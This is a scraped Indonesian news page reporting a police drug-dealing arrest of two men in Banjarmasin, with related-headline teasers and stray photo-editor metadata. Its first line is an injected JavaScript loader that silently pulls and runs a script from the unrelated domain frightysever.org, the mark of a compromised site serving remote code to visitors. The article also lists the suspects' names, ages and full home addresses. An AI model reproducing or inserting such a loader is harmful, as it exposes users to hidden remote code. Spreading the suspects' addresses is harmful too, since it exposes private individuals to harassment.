(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
{"total_effects_actions":0,"total_draw_time":0,"layers_used":0,"effects_tried":0,"total_draw_actions":0,"total_editor_actions":{"border":0,"frame":0,"mask":0,"lensflare":0,"clipart":0,"text":0,"square_fit":1,"shape_mask":0,"callout":0},"effects_applied":0,"uid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1578984468562","width":3464,"photos_added":0,"total_effects_time":0,"tools_used":{"tilt_shift":0,"resize":0,"adjust":0,"curves":0,"motion":0,"perspective":0,"clone":0,"crop":0,"enhance":0,"selection":0,"free_crop":0,"flip_rotate":0,"shape_crop":0,"stretch":0},"remix_data":[],"source_sid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1578984468589","origin":"gallery","height":2309,"subsource":"done_button","total_editor_time":12,"brushes_used":0}
KANALKALIMANTAN.COM, BANJARMASIN – Subdit I Dit Resnarkoba Polda Kalsel berhasil mengamankan dua pemuda, yakni Fitriadi alias Hapit (28) warga Jl. Teluk Tiram Darat Gang H. Saadah RT 005/ RW 001 Kelurahan Telawang Banjarmasin, dan Muhammad Sunda alias Sunda (25) warga Jl. Teluk Tiram Laut Gg.Tiram 17 / MPH RT 003/ RW 001 Kelurahan Telawang Banjarmasin.
Keduanya ditangkap di dua TKP berbeda pada Kamis (02/02/2020) siang. Di TKP pertama, di Gg MPH Jl.Teluk Tiram Laut Kelurahan Telawang Banjarmasin.
“Keduanya tertangkap tangan oleh petugas yang menyamar sebagai pembeli, saat menyerahkan 20 butir ekstasi warna coklat bentuk amor dengan berat bersih 7,70 gram di TKP pertama,” kata Dir Resnarkoba Polda Kalsel Kombes Wahyu Widarto melalui Kabag Binopsdal AKPB Sigit Kumoro.
Dari hasil pengembangan, kepolisian melakukan penggeledahan di TKP kedua di Jl.Teluk Tiram Darat Gg.Tiram 18 RT 06/ RW 01 No.10 Kelurahan Telawang Banjarmasin pukul 14.30 Wita.
Dari penggeledahan tersebut, petugas menyita barang bukti berupa 1 butir ekstasi warna coklat bentik amor dengan berat bersih 0,38 gram dan 5 (lima) paket shabu dengan berat kotor 1,70 gram (bersih 0,70 gram).
“Adapun pasal yang dikenakan yaitu pasal 132 ayat (1) Jo 114 ayat (2) sub pasal 112 ayat (2) UU RI No.35 Tahun 2009 tentang Narkotika,” papar AKBP Sigit.
Untuk mempertanggungjawabkan perbuatannya, keduanya bersama barang bukti dibawa ke Mako Dit Resnarkoba Polda Kalsel. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.